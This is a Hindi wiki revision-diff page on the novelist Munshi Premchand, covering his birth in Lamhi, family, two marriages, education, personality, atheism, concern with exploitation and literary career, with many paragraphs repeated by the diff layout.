Difference between revisions of "प्रेमचंद"

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{{प्रेमचंद विषय सूची}}{{चयनित लेख}}
 
{{प्रेमचंद विषय सूची}}{{चयनित लेख}}
{{सूचना बक्सा साहित्यकार
+
{{प्रेमचंद संक्षिप्त परिचय}}
|चित्र=Premchand.jpg
 
|पूरा नाम=मुंशी प्रेमचंद
 
|अन्य नाम=नवाब राय
 
|जन्म=[[31 जुलाई]], [[1880]]
 
|जन्म भूमि=लमही गाँव, [[वाराणसी]], [[उत्तर प्रदेश]]
 
|अभिभावक=मुंशी अजायब लाल और आनन्दी देवी
 
|पति/पत्नी=शिवरानी देवी
 
|संतान=श्रीपत राय और [[अमृत राय]] (पुत्र)
 
|कर्म भूमि=[[गोरखपुर]]
 
|कर्म-क्षेत्र=अध्यापक, लेखक, [[उपन्यासकार]]
 
|मृत्यु=[[8 अक्तूबर]] [[1936]]
 
|मृत्यु स्थान=[[वाराणसी]], [[उत्तर प्रदेश]]
 
|मुख्य रचनाएँ=[[ग़बन]], [[गोदान]], [[बड़े घर की बेटी -प्रेमचंद|बड़े घर की बेटी]], [[नमक का दारोगा -प्रेमचंद|नमक का दारोग़ा]] आदि
 
|विषय=सामजिक
 
|भाषा=[[हिन्दी]]
 
|विद्यालय=[[इलाहाबाद विश्वविद्यालय]]
 
|शिक्षा=स्नातक 
 
|पुरस्कार-उपाधि=
 
|प्रसिद्धि=उपन्यास सम्राट
 
|विशेष योगदान=
 
|नागरिकता=भारतीय
 
|संबंधित लेख=
 
|शीर्षक 1=साहित्यिक
 
|पाठ 1=आदर्शोन्मुख यथार्थवाद
 
|शीर्षक 2=आन्दोलन
 
|पाठ 2=प्रगतिशील लेखक आन्दोलन
 
|अन्य जानकारी=प्रेमचंद उनका साहित्यिक नाम था और बहुत वर्षों बाद उन्होंने यह नाम अपनाया था। उनका वास्तविक नाम ‘धनपत राय’ था। जब उन्होंने सरकारी सेवा करते हुए कहानी लिखना आरम्भ किया, तब उन्होंने नवाब राय नाम अपनाया। बहुत से मित्र उन्हें जीवन-पर्यन्त नवाब के नाम से ही सम्बोधित करते रहे।
 
|बाहरी कड़ियाँ=
 
|अद्यतन=
 
}}
 
 
'''मुंशी प्रेमचंद''' ([[अंग्रेज़ी]]: ''Munshi Premchand'', जन्म: [[31 जुलाई]], [[1880]] - मृत्यु: [[8 अक्टूबर]], [[1936]]) [[भारत]] के उपन्यास सम्राट माने जाते हैं जिनके युग का विस्तार सन् 1880 से 1936 तक है। यह कालखण्ड [[भारत का इतिहास|भारत के इतिहास]] में बहुत महत्त्व का है। इस युग में [[स्वतंत्रता संग्राम|भारत का स्वतंत्रता-संग्राम]] नई मंज़िलों से गुज़रा। प्रेमचंद का वास्तविक नाम '''धनपत राय श्रीवास्तव''' था। वे एक सफल लेखक, देशभक्त नागरिक, कुशल वक्ता, ज़िम्मेदार संपादक और संवेदनशील रचनाकार थे। बीसवीं शती के पूर्वार्द्ध में जब [[हिन्दी]] में काम करने की तकनीकी सुविधाएँ नहीं थीं फिर भी इतना काम करने वाला लेखक उनके सिवा कोई दूसरा नहीं हुआ।<ref name="pbk">{{cite book |last=गुप्त |first=प्रकाशचन्द्र|title=प्रेमचंद भारतीय साहित्य के निर्माता |year=1984 |publisher=साहित्य अकादमी|location=नई दिल्ली |id= |page= |accessday=|accessmonth=|accessyear=}}</ref>
 
'''मुंशी प्रेमचंद''' ([[अंग्रेज़ी]]: ''Munshi Premchand'', जन्म: [[31 जुलाई]], [[1880]] - मृत्यु: [[8 अक्टूबर]], [[1936]]) [[भारत]] के उपन्यास सम्राट माने जाते हैं जिनके युग का विस्तार सन् 1880 से 1936 तक है। यह कालखण्ड [[भारत का इतिहास|भारत के इतिहास]] में बहुत महत्त्व का है। इस युग में [[स्वतंत्रता संग्राम|भारत का स्वतंत्रता-संग्राम]] नई मंज़िलों से गुज़रा। प्रेमचंद का वास्तविक नाम '''धनपत राय श्रीवास्तव''' था। वे एक सफल लेखक, देशभक्त नागरिक, कुशल वक्ता, ज़िम्मेदार संपादक और संवेदनशील रचनाकार थे। बीसवीं शती के पूर्वार्द्ध में जब [[हिन्दी]] में काम करने की तकनीकी सुविधाएँ नहीं थीं फिर भी इतना काम करने वाला लेखक उनके सिवा कोई दूसरा नहीं हुआ।<ref name="pbk">{{cite book |last=गुप्त |first=प्रकाशचन्द्र|title=प्रेमचंद भारतीय साहित्य के निर्माता |year=1984 |publisher=साहित्य अकादमी|location=नई दिल्ली |id= |page= |accessday=|accessmonth=|accessyear=}}</ref>
==जन्म==
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==जीवन परिचय==
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{{Main|प्रेमचंद का जीवन परिचय}}
 
प्रेमचंद का जन्म [[वाराणसी]] से लगभग चार मील दूर, लमही नाम के गाँव में [[31 जुलाई]], [[1880]] को हुआ। प्रेमचंद के पिताजी मुंशी अजायब लाल और माता आनन्दी देवी थीं। प्रेमचंद का बचपन [[गाँव]] में बीता था। वे नटखट और खिलाड़ी बालक थे और खेतों से शाक-सब्ज़ी और पेड़ों से फल चुराने में दक्ष थे। उन्हें मिठाई का बड़ा शौक़ था और विशेष रूप से गुड़ से उन्हें बहुत प्रेम था। बचपन में उनकी शिक्षा-दीक्षा लमही में हुई और एक मौलवी साहब से उन्होंने [[उर्दू भाषा|उर्दू]] और [[फ़ारसी भाषा|फ़ारसी]] पढ़ना सीखा। एक रुपया चुराने पर ‘बचपन’ में उन पर बुरी तरह मार पड़ी थी। उनकी कहानी, ‘कज़ाकी’, उनकी अपनी बाल-स्मृतियों पर आधारित है। कज़ाकी डाक-विभाग का हरकारा था और बड़ी लम्बी-लम्बी यात्राएँ करता था। वह बालक प्रेमचंद के लिए सदैव अपने साथ कुछ सौगात लाता था। कहानी में वह बच्चे के लिये हिरन का छौना लाता है और डाकघर में देरी से पहुँचने के कारण नौकरी से अलग कर दिया जाता है। हिरन के बच्चे के पीछे दौड़ते-दौड़ते वह अति विलम्ब से डाक घर लौटा था। कज़ाकी का व्यक्तित्व अतिशय मानवीयता में डूबा है। वह शालीनता और आत्मसम्मान का पुतला है, किन्तु मानवीय करुणा से उसका हृदय भरा है।  
 
प्रेमचंद का जन्म [[वाराणसी]] से लगभग चार मील दूर, लमही नाम के गाँव में [[31 जुलाई]], [[1880]] को हुआ। प्रेमचंद के पिताजी मुंशी अजायब लाल और माता आनन्दी देवी थीं। प्रेमचंद का बचपन [[गाँव]] में बीता था। वे नटखट और खिलाड़ी बालक थे और खेतों से शाक-सब्ज़ी और पेड़ों से फल चुराने में दक्ष थे। उन्हें मिठाई का बड़ा शौक़ था और विशेष रूप से गुड़ से उन्हें बहुत प्रेम था। बचपन में उनकी शिक्षा-दीक्षा लमही में हुई और एक मौलवी साहब से उन्होंने [[उर्दू भाषा|उर्दू]] और [[फ़ारसी भाषा|फ़ारसी]] पढ़ना सीखा। एक रुपया चुराने पर ‘बचपन’ में उन पर बुरी तरह मार पड़ी थी। उनकी कहानी, ‘कज़ाकी’, उनकी अपनी बाल-स्मृतियों पर आधारित है। कज़ाकी डाक-विभाग का हरकारा था और बड़ी लम्बी-लम्बी यात्राएँ करता था। वह बालक प्रेमचंद के लिए सदैव अपने साथ कुछ सौगात लाता था। कहानी में वह बच्चे के लिये हिरन का छौना लाता है और डाकघर में देरी से पहुँचने के कारण नौकरी से अलग कर दिया जाता है। हिरन के बच्चे के पीछे दौड़ते-दौड़ते वह अति विलम्ब से डाक घर लौटा था। कज़ाकी का व्यक्तित्व अतिशय मानवीयता में डूबा है। वह शालीनता और आत्मसम्मान का पुतला है, किन्तु मानवीय करुणा से उसका हृदय भरा है।  
==पारिवारिक जीवन==
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{{दाँयाबक्सा|पाठ=प्रेमचंद जी कहते हैं कि समाज में ज़िन्दा रहने में जितनी कठिनाइयों का सामना लोग करेंगे उतना ही वहाँ गुनाह होगा। अगर समाज में लोग खुशहाल होंगे तो समाज में अच्छाई ज़्यादा होगी और समाज में गुनाह नहीं के बराबर होगा। प्रेमचन्द ने शोषितवर्ग के लोगों को उठाने का हर संभव प्रयास किया। उन्होंने आवाज़ लगाई 'ए लोगो जब तुम्हें संसार में रहना है तो जिन्दों की तरह रहो, मुर्दों की तरह ज़िन्दा रहने से क्या फ़ायदा।'|विचारक=}}
प्रेमचंद का कुल दरिद्र [[कायस्थ|कायस्थों]] का था, जिनके पास क़रीब छह बीघे ज़मीन थी और जिनका [[परिवार]] बड़ा था। प्रेमचंद के पितामह, मुंशी गुरुसहाय लाल, पटवारी थे। उनके पिता, मुंशी अजायब लाल, डाकमुंशी थे और उनका वेतन लगभग पच्चीस रुपये मासिक था। उनकी माँ, आनन्द देवी, सुन्दर सुशील और सुघड़ महिला थीं। छह महीने की बीमारी के बाद प्रेमचंद की माँ की मृत्यु हो गई। तब वे आठवीं कक्षा में पढ़ रहे थे। दो वर्ष के बाद उनके पिता ने फिर विवाह कर लिया और उनके जीवन में विमाता का अवतरण हुआ। प्रेमचंद के इतिहास में विमाता के अनेक वर्णन हैं। यह स्पष्ट है कि प्रेमचंद के जीवन में माँ के अभाव की पूर्ति विमाता द्वारा न हो सकी थी।
 
====विवाह====
 
जब प्रेमचंद पंद्रह वर्ष के थे, उनका विवाह हो गया। वह विवाह उनके सौतेले नाना ने तय किया था। उस काल के विवरण से लगता है कि लड़की न तो देखने में सुंदर थी, न वह स्वभाव से शीलवती थी। वह झगड़ालू भी थी। प्रेमचंद के कोमल मन का कल्पना-भवन मानो नींव रखते-रखते ही ढह गया। प्रेमचंद का यह पहला विवाह था। इस विवाह का टूटना आश्चर्य न था। प्रेमचंद की पत्नी के लिए यह विवाह एक दु:खद घटना रहा होगा। जीवन पर्यन्त यह उनका अभिशाप बन गया। इस सब का दोष [[भारत]] की परम्पराग्रस्त विवाह-प्रणाली पर है, जिसके कारण यह व्यवस्था आवश्यकता से भी अधिक जुए का खेल बन जाती है। प्रेमचंद ने निश्चय किया कि अपना दूसरा विवाह वे किसी विधवा कन्या से करेंगे। यह निश्चय उनके उच्च विचारों और आदर्शों के ही अनुरूप था।
 
====प्रेमचन्द का दूसरा विवाह====
 
[[चित्र:Premchand-and-Shivrani.jpg|thumb|250px|left|पत्नी शिवरानी के साथ प्रेमचंद]]
 
सन [[1905]] के अन्तिम दिनों में आपने शिवरानी देवी से शादी कर ली। शिवरानी देवी बाल-विधवा थीं। उनके पिता फ़तेहपुर के पास के इलाक़े में एक साहसी ज़मीदार थे और शिवरानी जी के पुनर्विवाह के लिए उत्सुक थे। सन् [[1916]] के आदिम युग में ऐसे विचार-मात्र की साहसिकता का अनुमान किया जा सकता है। यह कहा जा सकता है कि दूसरी शादी के पश्चात् इनके जीवन में परिस्थितियाँ कुछ बदलीं और आय की आर्थिक तंगी कम हुई। इनके लेखन में अधिक सजगता आई। प्रेमचन्द की पदोन्नति हुई तथा यह स्कूलों के डिप्टी इन्सपेक्टर बना दिये गए।
 
 
 
इसी खुशहाली के जमाने में प्रेमचन्द की पाँच कहानियों का संग्रह सोजे वतन प्रकाश में आया। यह संग्रह काफ़ी मशहूर हुआ। शिवरानी जी की पुस्तक ‘प्रेमचंद-घर में’, प्रेमचंद के घरेलू जीवन का सजीव और अंतरंग चित्र प्रस्तुत करती है। प्रेमचंद अपने पिता की तरह पेचिश के शिकार थे और निरंतर पेट की व्याधियों से पीड़ित रहते थे। प्रेमचंद स्वभाव से सरल, आदर्शवादी व्यक्ति थे। वे सभी का विश्वास करते थे, किन्तु निरंतर उन्हें धोखा खाना पड़ा। उन्होंने अनेक लोगों को धन-राशि कर्ज़ दी, किन्तु बहुधा यह धन लौटा ही नहीं। शिवरानी देवी की दृष्टि कुछ अधिक सांसारिक और व्यवहार-कुशल थी। वे निरंतर प्रेमचंद की उदार-हृदयता पर ताने कसती थीं, क्योंकि अनेक बार कुपात्र ने ही इस उदारता का लाभ उठाया। प्रेमचंद स्वयं सम्पन्न न थे और अपनी उदारता के कारण अर्थ-संकट में फंस जाते थे। ‘ढपोरशंख’ शीर्षक कहानी में प्रेमचंद एक कपटी साहित्यिक द्वारा अपने ठगे जाने की मार्मिक कथा कहते हैं।
 
==शिक्षा==
 
ग़रीबी से लड़ते हुए प्रेमचन्द ने अपनी पढ़ाई मैट्रिक तक पहुँचाई। जीवन के आरंभ में ही इनको गाँव से दूर [[वाराणसी]] पढ़ने के लिए नंगे पाँव जाना पड़ता था। इसी बीच में इनके पिता का देहान्त हो गया। प्रेमचन्द को पढ़ने का शौक़ था, आगे चलकर यह वकील बनना चाहते थे, मगर ग़रीबी ने इन्हें तोड़ दिया। प्रेमचन्द ने स्कूल आने-जाने के झंझट से बचने के लिए एक वकील साहब के यहाँ ट्यूशन पकड़ लिया और उसी के घर में एक कमरा लेकर रहने लगे। इनको ट्यूशन का पाँच रुपया मिलता था। पाँच रुपये में से तीन रुपये घर वालों को और दो रुपये से प्रेमचन्द अपनी ज़िन्दगी की गाड़ी को आगे बढ़ाते रहे। प्रेमचन्द महीना भर तंगी और अभाव का जीवन बिताते थे। इन्हीं जीवन की प्रतिकूल परिस्थितियों में प्रेमचन्द ने मैट्रिक पास किया। उन्होंने इलाहाबाद विश्वविद्यालय से [[अंग्रेज़ी भाषा|अंग्रेज़ी]] साहित्य, पर्शियन (फ़ारसी) और इतिहास विषयों से स्नातक की उपाधि द्वितीय श्रेणी में प्राप्त की थी। इंटरमीडिएट कक्षा में भी उन्होंने अंग्रेज़ी साहित्य एक विषय के रूप में पढा था। <ref name="prem"></ref>{{दाँयाबक्सा|पाठ=प्रेमचंद जी कहते हैं कि समाज में ज़िन्दा रहने में जितनी कठिनाइयों का सामना लोग करेंगे उतना ही वहाँ गुनाह होगा। अगर समाज में लोग खुशहाल होंगे तो समाज में अच्छाई ज़्यादा होगी और समाज में गुनाह नहीं के बराबर होगा। प्रेमचन्द ने शोषितवर्ग के लोगों को उठाने का हर संभव प्रयास किया। उन्होंने आवाज़ लगाई 'ए लोगो जब तुम्हें संसार में रहना है तो जिन्दों की तरह रहो, मुर्दों की तरह ज़िन्दा रहने से क्या फ़ायदा।'|विचारक=}}
 
 
==व्यक्तित्व==
 
==व्यक्तित्व==
[[चित्र:Premchand-2.jpg|thumb|250px|left|मुंशी प्रेमचंद]]
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{{Main|प्रेमचंद का व्यक्तित्व}}
 
सादा एवं सरल जीवन के मालिक प्रेमचन्द सदा मस्त रहते थे। उनके जीवन में विषमताओं और कटुताओं से वह लगातार खेलते रहे। इस खेल को उन्होंने बाज़ी मान लिया जिसको हमेशा जीतना चाहते थे। कहा जाता है कि प्रेमचन्द हंसोड़ प्रकृति के मालिक थे। विषमताओं भरे जीवन में हंसोड़ होना एक बहादुर का काम है। इससे इस बात को भी समझा जा सकता है कि वह अपूर्व जीवनी-शक्ति का द्योतक थे। सरलता, सौजन्य और उदारता की वह मूर्ति थे। जहाँ उनके हृदय में मित्रों के लिए उदार भाव था वहीं उनके हृदय में ग़रीबों एवं पीड़ितों के लिए सहानुभूति का अथाह सागर था। प्रेमचन्द उच्चकोटि के मानव थे। इनको गाँव जीवन से अच्छा प्रेम था। वह सदा साधारण गंवई लिबास में रहते थे। जीवन का अधिकांश भाग उन्होंने गाँव में ही गुज़ारा। बाहर से बिल्कुल साधारण दिखने वाले प्रेमचन्द अन्दर से जीवनी-शक्ति के मालिक थे। अन्दर से जरा सा भी किसी ने देखा तो उसे प्रभावित होना ही था। वह आडम्बर एवं दिखावा से मीलों दूर रहते थे। जीवन में न तो उनको विलास मिला और न ही उनको इसकी तमन्ना थी। तमाम महापुरुषों की तरह अपना काम स्वयं करना पसंद करते थे।<ref name="prm">{{cite web |url=http://tdil.mit.gov.in/CoilNet/IGNCA/prem001.htm#ishwar |title=प्रेमचन्द : जीवन परिचय |accessmonthday=[[9 नवंबर]]  |accessyear=[[2010]] |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher= |language=[[हिन्दी]]}}</ref>
 
सादा एवं सरल जीवन के मालिक प्रेमचन्द सदा मस्त रहते थे। उनके जीवन में विषमताओं और कटुताओं से वह लगातार खेलते रहे। इस खेल को उन्होंने बाज़ी मान लिया जिसको हमेशा जीतना चाहते थे। कहा जाता है कि प्रेमचन्द हंसोड़ प्रकृति के मालिक थे। विषमताओं भरे जीवन में हंसोड़ होना एक बहादुर का काम है। इससे इस बात को भी समझा जा सकता है कि वह अपूर्व जीवनी-शक्ति का द्योतक थे। सरलता, सौजन्य और उदारता की वह मूर्ति थे। जहाँ उनके हृदय में मित्रों के लिए उदार भाव था वहीं उनके हृदय में ग़रीबों एवं पीड़ितों के लिए सहानुभूति का अथाह सागर था। प्रेमचन्द उच्चकोटि के मानव थे। इनको गाँव जीवन से अच्छा प्रेम था। वह सदा साधारण गंवई लिबास में रहते थे। जीवन का अधिकांश भाग उन्होंने गाँव में ही गुज़ारा। बाहर से बिल्कुल साधारण दिखने वाले प्रेमचन्द अन्दर से जीवनी-शक्ति के मालिक थे। अन्दर से जरा सा भी किसी ने देखा तो उसे प्रभावित होना ही था। वह आडम्बर एवं दिखावा से मीलों दूर रहते थे। जीवन में न तो उनको विलास मिला और न ही उनको इसकी तमन्ना थी। तमाम महापुरुषों की तरह अपना काम स्वयं करना पसंद करते थे।<ref name="prm">{{cite web |url=http://tdil.mit.gov.in/CoilNet/IGNCA/prem001.htm#ishwar |title=प्रेमचन्द : जीवन परिचय |accessmonthday=[[9 नवंबर]]  |accessyear=[[2010]] |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher= |language=[[हिन्दी]]}}</ref>
====ईश्वर के प्रति आस्था====
 
जीवन के प्रति उनकी अगाढ़ आस्था थी लेकिन जीवन की विषमताओं के कारण वह कभी भी ईश्वर के बारे में आस्थावादी नहीं बन सके। धीरे- धीरे वे [[अनीश्वरवाद|अनीश्वरवादी]] से बन गए थे। एक बार उन्होंने जैनेन्दजी को लिखा "तुम आस्तिकता की ओर बढ़े जा रहे हो- जा नहीं रहे पक्के भगत बनते जा रहे हो। मैं संदेह से पक्का नास्तिक बनता जा रहा हूँ।"
 
मृत्यु के कुछ घंटे पहले भी उन्होंने [[जैनेन्द्र कुमार|जैनेन्द्रजी]] से कहा था - "जैनेन्द्र, लोग ऐसे समय में ईश्वर को याद करते हैं मुझे भी याद दिलाई जाती है। पर मुझे अभी तक ईश्वर को कष्ट देने की आवश्यकता महसूस नहीं हुई।"<ref name="prm"></ref>
 
====शोषण और प्रेमचंद====
 
प्रेमचंद और शोषण का बहुत पुराना रिश्ता माना जा सकता है। क्योंकि बचपन से ही शोषण के शिकार रहे प्रेमचन्द इससे अच्छी तरह वाक़िफ़ हो गए थे। समाज में सदा वर्गवाद व्याप्त रहा है। समाज में रहने वाले हर व्यक्ति को किसी न किसी वर्ग से जुड़ना ही होगा। प्रेमचन्द ने वर्गवाद के ख़िलाफ़ लिखने के लिए ही सरकारी पद से त्यागपत्र दे दिया। वह इससे सम्बन्धित बातों को उन्मुख होकर लिखना चाहते थे। उनके मुताबिक वर्तमान युग न तो धर्म का है और न ही मोक्ष का। अर्थ ही इसका प्राण बनता जा रहा है। आवश्यकता के अनुसार अर्थोपार्जन सबके लिए अनिवार्य होता जा रहा है। इसके बिना ज़िन्दा रहना सर्वथा असंभव है।
 
प्रेमचंद जी कहते हैं कि समाज में ज़िन्दा रहने में जितनी कठिनाइयों का सामना लोग करेंगे उतना ही वहाँ गुनाह होगा। अगर समाज में लोग खुशहाल होंगे तो समाज में अच्छाई ज़्यादा होगी और समाज में गुनाह नहीं के बराबर होगा। प्रेमचन्द ने शोषितवर्ग के लोगों को उठाने का हर संभव प्रयास किया। उन्होंने आवाज़ लगाई '''ए लोगों जब तुम्हें संसार में रहना है तो जिन्दों की तरह रहो, मुर्दों की तरह ज़िन्दा रहने से क्या फ़ायदा।'''
 
प्रेमचन्द ने अपनी कहानियों में शोषक- समाज के विभिन्न वर्गों की करतूतों व हथकण्डों का पर्दाफाश किया है। ये निम्नलिखित हैं: -
 
* ग्राम एवं नगर के महाजन
 
* सामंतवाद के प्रतिनिधि- जमींदार
 
* पूँजीवाद के प्रतिनिधि- उद्योगपति
 
* सरकारी अर्धसरकारी अफ़सर<ref>{{cite web |url=http://tdil.mit.gov.in/CoilNet/IGNCA/prem004.htm |title=शोषण और प्रेमचन्द |accessmonthday=[[24 अक्टूबर]] |accessyear=[[2010]] |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher= |language=[[हिन्दी]] }}</ref>
 
 
==साहित्यिक जीवन==
 
==साहित्यिक जीवन==
प्रेमचंद उनका साहित्यिक नाम था और बहुत वर्षों बाद उन्होंने यह नाम अपनाया था। उनका वास्तविक नाम ‘धनपत राय’ था। जब उन्होंने सरकारी सेवा करते हुए कहानी लिखना आरम्भ किया, तब उन्होंने नवाब राय नाम अपनाया। बहुत से मित्र उन्हें जीवन-पर्यन्त नवाब के नाम से ही सम्बोधित करते रहे। जब सरकार ने उनका पहला कहानी-संग्रह, ‘सोज़े वतन’ ज़ब्त किया, तब उन्हें नवाब राय नाम छोड़ना पड़ा। बाद का उनका अधिकतर साहित्य प्रेमचंद के नाम से प्रकाशित हुआ। इसी काल में प्रेमचंद ने कथा-साहित्य बड़े मनोयोग से पढ़ना शुरू किया। एक तम्बाकू-विक्रेता की दुकान में उन्होंने कहानियों के अक्षय भण्डार, ‘तिलिस्मे होशरूबा’ का पाठ सुना। इस पौराणिक गाथा के लेखक [[फ़ैज़ी]] बताए जाते हैं, जिन्होंने [[अकबर]] के मनोरंजन के लिए ये कथाएं लिखी थीं। एक पूरे वर्ष प्रेमचंद ये कहानियाँ सुनते रहे और इन्हें सुनकर उनकी कल्पना को बड़ी उत्तेजना मिली। कथा साहित्य की अन्य अमूल्य कृतियाँ भी प्रेमचंद ने पढ़ीं। इनमें ‘सरशार’ की कृतियाँ और रेनाल्ड की ‘लन्दन-रहस्य’ भी थी। [[गोरखपुर]] में बुद्धिलाल नाम के पुस्तक-विक्रेता से उनकी मित्रता हुई। वे उनकी दुकान की कुंजियाँ स्कूल में बेचते थे और इसके बदले में वे कुछ उपन्यास अल्प काल के लिए पढ़ने को घर ले जा सकते थे। इस प्रकार उन्होंने दो-तीन वर्षों में सैकड़ों उपन्यास पढ़े होंगे। इस समय प्रेमचंद के पिता गोरखपुर में डाकमुंशी की हैसियत से काम कर रहे थे। गोरखपुर में ही प्रेमचंद ने अपनी सबसे पहली साहित्यिक कृति रची। यह रचना एक अविवाहित मामा से सम्बंधित प्रहसन था। मामा का प्रेम एक छोटी जाति की स्त्री से हो गया था। वे प्रेमचंद को उपन्यासों पर समय बर्बाद करने के लिए निरन्तर डांटते रहते थे। मामा की प्रेम-कथा को नाटक का रूप देकर प्रेमचंद ने उनसे बदला लिया। यह प्रथम रचना उपलब्ध नहीं है, क्योंकि उनके मामा ने क्रुद्ध होकर [[पाण्डुलिपि|पांडुलिपि]] को अग्नि को समर्पित कर दिया। गोरखपुर में प्रेमचंद को एक नये मित्र महावीर प्रसाद पोद्दार मिले और इनसे परिचय के बाद प्रेमचंद और भी तेज़ी से हिन्दी की ओर झुके। उन्होंने [[हिन्दी]] में शेख़ सादी पर एक छोटी-सी पुस्तक लिखी थी, टॉल्सटॉय की कुछ कहानियों का हिन्दी में अनुवाद किया था और ‘प्रेम-पचीसी’ की कुछ कहानियों का रूपान्तर भी हिन्दी में कर रहे थे। ये कहानियाँ ‘सप्त-सरोज’ शीर्षक से हिन्दी संसार के सामने सर्वप्रथम सन् [[1917]] में आयीं। ये सात कहानियाँ थीं:-  
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{{Main|प्रेमचंद का साहित्यिक जीवन}}
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प्रेमचंद उनका साहित्यिक नाम था और बहुत वर्षों बाद उन्होंने यह नाम अपनाया था। उनका वास्तविक नाम ‘धनपत राय’ था। जब उन्होंने सरकारी सेवा करते हुए कहानी लिखना आरम्भ किया, तब उन्होंने नवाब राय नाम अपनाया। बहुत से मित्र उन्हें जीवन-पर्यन्त नवाब के नाम से ही सम्बोधित करते रहे। उन्होंने [[हिन्दी]] में शेख़ सादी पर एक छोटी-सी पुस्तक लिखी थी, टॉल्सटॉय की कुछ कहानियों का हिन्दी में अनुवाद किया था और ‘प्रेम-पचीसी’ की कुछ कहानियों का रूपान्तर भी हिन्दी में कर रहे थे। ये कहानियाँ ‘सप्त-सरोज’ शीर्षक से हिन्दी संसार के सामने सर्वप्रथम सन् [[1917]] में आयीं। ये सात कहानियाँ थीं:-  
 
{{दाँयाबक्सा|पाठ=शायद कम लोग जानते हैं कि प्रख्यात कथाकार मुंशी प्रेमचंद अपनी महान् रचनाओं की रूपरेखा पहले [[अंग्रेज़ी]] में लिखते थे और इसके बाद उसे [[हिन्दी]] अथवा [[उर्दू]] में अनूदित कर विस्तारित करते थे।|विचारक=}}
 
{{दाँयाबक्सा|पाठ=शायद कम लोग जानते हैं कि प्रख्यात कथाकार मुंशी प्रेमचंद अपनी महान् रचनाओं की रूपरेखा पहले [[अंग्रेज़ी]] में लिखते थे और इसके बाद उसे [[हिन्दी]] अथवा [[उर्दू]] में अनूदित कर विस्तारित करते थे।|विचारक=}}
 
# [[बड़े घर की बेटी -प्रेमचंद|बड़े घर की बेटी]]  
 
# [[बड़े घर की बेटी -प्रेमचंद|बड़े घर की बेटी]]  
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प्रेमचंद की सर्वश्रेष्ठ कहानियों में इन कहानियों की गणना होती है।
 
प्रेमचंद की सर्वश्रेष्ठ कहानियों में इन कहानियों की गणना होती है।
 
==साहित्य की विशेषताएँ==
 
==साहित्य की विशेषताएँ==
प्रेमचन्द की रचना-दृष्टि, विभिन्न साहित्य रूपों में, अभिव्यक्त हुई। वह बहुमुखी प्रतिभा संपन्न साहित्यकार थे। प्रेमचंद की रचनाओं में तत्कालीन इतिहास बोलता है। उन्होंने अपनी रचनाओं में जन साधारण की भावनाओं, परिस्थितियों और उनकी समस्याओं का मार्मिक चित्रण किया। उनकी कृतियाँ भारत के सर्वाधिक विशाल और विस्तृत वर्ग की कृतियाँ हैं। अपनी कहानियों से प्रेमचंद मानव-स्वभाव की आधारभूत महत्ता पर बल देते हैं। '''‘बड़े घर की बेटी,’ आनन्दी, अपने देवर से अप्रसन्न हुई, क्योंकि वह गंवार उससे कर्कशता से बोलता है और उस पर खींचकर खड़ाऊँ फेंकता है। जब उसे अनुभव होता है कि उनका परिवार टूट रहा है और उसका देवर परिताप से भरा है, तब वह उसे क्षमा कर देती है और अपने पति को शांत करती है'''। [[चित्र:Premchand-3.jpg|thumb|250px|मुंशी प्रेमचंद]] इसी प्रकार 'नमक का दारोग़ा' बहुत ईमानदार व्यक्ति है। घूस देकर उसे बिगाड़ने में सभी असमर्थ हैं। सरकार उसे, सख्ती से उचित कार्रवाई करने के कारण, नौकरी से बर्ख़ास्त कर देती है, किन्तु जिस सेठ की घूस उसने अस्वीकार की थी, वह उसे अपने यहाँ ऊँचे पद पर नियुक्त करता है। वह अपने यहाँ ईमानदार और कर्तव्यपरायण कर्मचारी रखना चाहता है। इस प्रकार प्रेमचंद के संसार में सत्कर्म का फल सुखद होता है। वास्तविक जीवन में ऐसी आश्चर्यप्रद घटनाएँ कम घटती हैं। '''गाँव का पंच भी व्यक्तिगत विद्वेष और शिकायतों को भूलकर सच्चा न्याय करता है। उसकी आत्मा उसे इसी दिशा में ठेलती है। असंख्य भेदों, पूर्वाग्रहों, अन्धविश्वासों, जात-पांत के झगड़ों और हठधर्मियों से जर्जर ग्राम-समाज में भी ऐसा न्याय-धर्म कल्पनातीत लगता है'''। हिन्दी में प्रेमचंद की कहानियों का एक संग्रह [[बम्बई]] के एक सुप्रसिद्ध प्रकाशन गृह, हिन्दी ग्रन्थ-रत्नाकर ने प्रकाशित किया। यह संग्रह ‘नवनिधि’ शीर्षक से निकला और इसमें ‘राजा हरदौल’ और ‘रानी सारन्धा’ जैसी बुन्देल वीरता की सुप्रसिद्ध कहानियाँ शामिल थीं।
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{{Main|प्रेमचंद के साहित्य की विशेषताएँ}}
====रचनाओं की रूपरेखा====
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प्रेमचन्द की रचना-दृष्टि, विभिन्न साहित्य रूपों में, अभिव्यक्त हुई। वह बहुमुखी प्रतिभा संपन्न साहित्यकार थे। प्रेमचंद की रचनाओं में तत्कालीन इतिहास बोलता है। उन्होंने अपनी रचनाओं में जन साधारण की भावनाओं, परिस्थितियों और उनकी समस्याओं का मार्मिक चित्रण किया। उनकी कृतियाँ भारत के सर्वाधिक विशाल और विस्तृत वर्ग की कृतियाँ हैं। अपनी कहानियों से प्रेमचंद मानव-स्वभाव की आधारभूत महत्ता पर बल देते हैं। '''‘बड़े घर की बेटी,’ आनन्दी, अपने देवर से अप्रसन्न हुई, क्योंकि वह गंवार उससे कर्कशता से बोलता है और उस पर खींचकर खड़ाऊँ फेंकता है। जब उसे अनुभव होता है कि उनका परिवार टूट रहा है और उसका देवर परिताप से भरा है, तब वह उसे क्षमा कर देती है और अपने पति को शांत करती है'''।
इसके कुछ समय के बाद प्रेमचंद ने हिन्दी में कहानियों का एक और संग्रह प्रकाशित किया। इस संग्रह का शीर्षक था ‘प्रेम-पूर्णिमा’। ‘बड़े घर की बेटी’ और ‘पंच परमेश्वर’ की ही परम्परा की एक और अद्भुत कहानी ‘ईश्वरीय न्याय’ इस संग्रह में थी। शायद कम लोग जानते है कि प्रख्यात कथाकार मुंशी प्रेमचंद अपनी महान् रचनाओं की रूपरेखा पहले [[अंग्रेज़ी]] में लिखते थे और इसके बाद उसे [[हिन्दी]] अथवा [[उर्दू]] में अनूदित कर विस्तारित करते थे। [[भोपाल]] स्थित बहुकला केंद्र भारत भवन की [[रजत जयंती]] के उपलक्ष्य पर प्रेमचंद के व्यक्तित्व एवं कृतित्व पर यहाँ आयोजित सात दिवसीय प्रदर्शनी में इस तथ्य का खुलासा करते हुए उनकी कई हिन्दी एवं उर्दू रचनाओं की [[अंग्रेज़ी]] में लिखी रूपरेखाएँ प्रदर्शित की गई हैं। 